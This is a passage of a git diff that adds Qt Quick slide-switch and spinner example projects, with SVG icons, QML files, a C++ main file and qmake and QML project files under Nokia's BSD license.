+ <stop
+ offset="0.073"
+ style="stop-color:#446986"
+ id="stop4129" />
+ <stop
+ offset="0.5"
+ style="stop-color:#EAECEF"
+ id="stop4131" />
+ <stop
+ offset="0.5757"
+ style="stop-color:#D9E0E8"
+ id="stop4133" />
+ <stop
+ offset="0.618"
+ style="stop-color:#CED8E3"
+ id="stop4135" />
+ <stop
+ offset="0.6655"
+ style="stop-color:#CAD5E2"
+ id="stop4137" />
+ <stop
+ offset="0.7129"
+ style="stop-color:#BECEDD"
+ id="stop4139" />
+ <stop
+ offset="0.7601"
+ style="stop-color:#AAC1D6"
+ id="stop4141" />
+ <stop
+ offset="0.807"
+ style="stop-color:#8EB0CC"
+ id="stop4143" />
+ <stop
+ offset="0.809"
+ style="stop-color:#8DAFCC"
+ id="stop4145" />
+ <stop
+ offset="1"
+ style="stop-color:#0E525F"
+ id="stop4147" />
+</linearGradient>
+<circle
+ cx="26"
+ cy="26"
+ r="5.3330002"
+ id="circle4149"
+ style="fill:url(#SVGID_12_)"
+ sodipodi:cx="26"
+ sodipodi:cy="26"
+ sodipodi:rx="5.3330002"
+ sodipodi:ry="5.3330002"
+ transform="matrix(0.923077,0,0,0.923077,2,1.999996)" />
+<linearGradient
+ id="SVGID_13_"
+ gradientUnits="userSpaceOnUse"
+ x1="-79.9658"
+ y1="-96"
+ x2="-73.0342"
+ y2="-96"
+ gradientTransform="matrix(1,0,0,-1,102.5,-70)">
+ <stop
+ offset="0.0056"
+ style="stop-color:#8AADCE"
+ id="stop4152" />
+ <stop
+ offset="0.073"
+ style="stop-color:#3B617F"
+ id="stop4154" />
+ <stop
+ offset="0.5"
+ style="stop-color:#EAECEF"
+ id="stop4156" />
+ <stop
+ offset="0.6087"
+ style="stop-color:#CED9E3"
+ id="stop4158" />
+ <stop
+ offset="0.618"
+ style="stop-color:#CBD7E2"
+ id="stop4160" />
+ <stop
+ offset="0.6655"
+ style="stop-color:#C7D4E1"
+ id="stop4162" />
+ <stop
+ offset="0.7129"
+ style="stop-color:#BBCDDD"
+ id="stop4164" />
+ <stop
+ offset="0.7601"
+ style="stop-color:#A7C0D6"
+ id="stop4166" />
+ <stop
+ offset="0.807"
+ style="stop-color:#8BAECD"
+ id="stop4168" />
+ <stop
+ offset="0.809"
+ style="stop-color:#8AADCD"
+ id="stop4170" />
+ <stop
+ offset="1"
+ style="stop-color:#0E525F"
+ id="stop4172" />
+</linearGradient>
+<circle
+ cx="26"
+ cy="26"
+ r="3.4660001"
+ id="circle4174"
+ style="fill:url(#SVGID_13_)"
+ sodipodi:cx="26"
+ sodipodi:cy="26"
+ sodipodi:rx="3.4660001"
+ sodipodi:ry="3.4660001"
+ transform="matrix(0.923077,0,0,0.923077,2,1.999996)" />
+<linearGradient
+ id="SVGID_14_"
+ gradientUnits="userSpaceOnUse"
+ x1="-78.1001"
+ y1="-96"
+ x2="-74.9004"
+ y2="-96"
+ gradientTransform="matrix(1,0,0,-1,102.5,-70)">
+ <stop
+ offset="0.0056"
+ style="stop-color:#8AADCE"
+ id="stop4177" />
+ <stop
+ offset="0.073"
+ style="stop-color:#335977"
+ id="stop4179" />
+ <stop
+ offset="0.5"
+ style="stop-color:#EAECEF"
+ id="stop4181" />
+ <stop
+ offset="0.618"
+ style="stop-color:#C9D5E1"
+ id="stop4183" />
+ <stop
+ offset="0.6648"
+ style="stop-color:#C5D3E0"
+ id="stop4185" />
+ <stop
+ offset="0.7114"
+ style="stop-color:#B9CBDC"
+ id="stop4187" />
+ <stop
+ offset="0.758"
+ style="stop-color:#A5BFD6"
+ id="stop4189" />
+ <stop
+ offset="0.8042"
+ style="stop-color:#89ADCE"
+ id="stop4191" />
+ <stop
+ offset="0.809"
+ style="stop-color:#86ABCD"
+ id="stop4193" />
+ <stop
+ offset="1"
+ style="stop-color:#0E525F"
+ id="stop4195" />
+</linearGradient>
+<circle
+ cx="26"
+ cy="26"
+ r="1.6"
+ id="circle4197"
+ style="fill:url(#SVGID_14_)"
+ sodipodi:cx="26"
+ sodipodi:cy="26"
+ sodipodi:rx="1.6"
+ sodipodi:ry="1.6"
+ transform="matrix(0.923077,0,0,0.923077,2,1.999996)" />
+</svg> \ No newline at end of file
diff --git a/examples/declarative/ui-components/slideswitch/qml/slideswitch/slideswitch.qml b/examples/declarative/ui-components/slideswitch/qml/slideswitch/slideswitch.qml
new file mode 100644
index 00000000..ede89ea8
--- /dev/null
+++ b/examples/declarative/ui-components/slideswitch/qml/slideswitch/slideswitch.qml
@@ -0,0 +1,51 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import "content"
+
+Rectangle {
+ color: "white"
+ width: 400; height: 250
+
+//![0]
+ Switch { anchors.centerIn: parent; on: false }
+//![0]
+}
diff --git a/examples/declarative/ui-components/slideswitch/slideswitch.png b/examples/declarative/ui-components/slideswitch/slideswitch.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/ui-components/slideswitch/slideswitch.png
Binary files differ
diff --git a/examples/declarative/ui-components/slideswitch/slideswitch.pro b/examples/declarative/ui-components/slideswitch/slideswitch.pro
new file mode 100644
index 00000000..7aec431c
--- /dev/null
+++ b/examples/declarative/ui-components/slideswitch/slideswitch.pro
@@ -0,0 +1,41 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/slideswitch
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+# Avoid auto screen rotation
+DEFINES += ORIENTATIONLOCK
+
+# Needs to be defined for Symbian
+#DEFINES += NETWORKACCESS
+
+symbian:TARGET.UID3 = 0xEAB2005A
+
+# Smart Installer package's UID
+# This UID is from the protected range
+# and therefore the package will fail to install if self-signed
+# By default qmake uses the unprotected range value if unprotected UID is defined for the application
+# and 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Define QMLJSDEBUGGER to allow debugging of QML in debug builds
+# (This might significantly increase build time)
+# DEFINES += QMLJSDEBUGGER
+
+# If your application uses the Qt Mobility libraries, uncomment
+# the following lines and add the respective components to the
+# MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/ui-components/slideswitch
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/ui-components/slideswitch/slideswitch.qmlproject b/examples/declarative/ui-components/slideswitch/slideswitch.qmlproject
new file mode 100644
index 00000000..f0a23e07
--- /dev/null
+++ b/examples/declarative/ui-components/slideswitch/slideswitch.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/slideswitch"
+ }
+ JavaScriptFiles {
+ directory: "qml/slideswitch"
+ }
+ ImageFiles {
+ directory: "qml/slideswitch"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/ui-components/slideswitch/slideswitch.svg b/examples/declarative/ui-components/slideswitch/slideswitch.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/ui-components/slideswitch/slideswitch.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/ui-components/spinner/main.cpp b/examples/declarative/ui-components/spinner/main.cpp
new file mode 100644
index 00000000..3758c4cf
--- /dev/null
+++ b/examples/declarative/ui-components/spinner/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qmlapplicationviewer.h"
+#include <QtGui/QApplication>
+
+Q_DECL_EXPORT int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationAuto);
+ viewer.setMainQmlFile(QLatin1String("qml/spinner/main.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/ui-components/spinner/qml/spinner/main.qml b/examples/declarative/ui-components/spinner/qml/spinner/main.qml
new file mode 100644
index 00000000..38eed247
--- /dev/null
+++ b/examples/declarative/ui-components/spinner/qml/spinner/main.qml
@@ -0,0 +1,61 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import "../../content"
+
+Rectangle {
+ width: 240; height: 320
+
+ Column {
+ y: 20; x: 20; spacing: 20
+
+ Spinner {
+ id: spinner
+ width: 200; height: 240
+ focus: true
+ model: 20
+ itemHeight: 30
+ delegate: Text { font.pixelSize: 25; text: index; height: 30 }
+ }
+
+ Text { text: "Current item index: " + spinner.currentIndex }
+ }
+}
diff --git a/examples/declarative/ui-components/spinner/spinner.pro b/examples/declarative/ui-components/spinner/spinner.pro
new file mode 100644
index 00000000..13aa1255
--- /dev/null
+++ b/examples/declarative/ui-components/spinner/spinner.pro
@@ -0,0 +1,39 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/spinner
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+symbian:TARGET.UID3 = 0xEEEC8761
+
+# Smart Installer package's UID
+# This UID is from the protected range and therefore the package will
+# fail to install if self-signed. By default qmake uses the unprotected
+# range value if unprotected UID is defined for the application and
+# 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Allow network access on Symbian
+symbian:TARGET.CAPABILITY += NetworkServices
+
+# If your application uses the Qt Mobility libraries, uncomment the following
+# lines and add the respective components to the MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# Speed up launching on MeeGo/Harmattan when using applauncherd daemon
+# CONFIG += qdeclarative-boostable
+
+# Add dependency to Symbian components
+# CONFIG += qt-components
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/ui-components/spinner
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/ui-components/spinner/spinner.qmlproject b/examples/declarative/ui-components/spinner/spinner.qmlproject
new file mode 100644
index 00000000..2b40309b
--- /dev/null
+++ b/examples/declarative/ui-components/spinner/spinner.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/spinner"
+ }
+ JavaScriptFiles {
+ directory: "qml/spinner"
+ }
+ ImageFiles {
+ directory: "qml/spinner"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/ui-components/spinner/spinner.svg b/examples/declarative/ui-components/spinner/spinner.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/ui-components/spinner/spinner.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 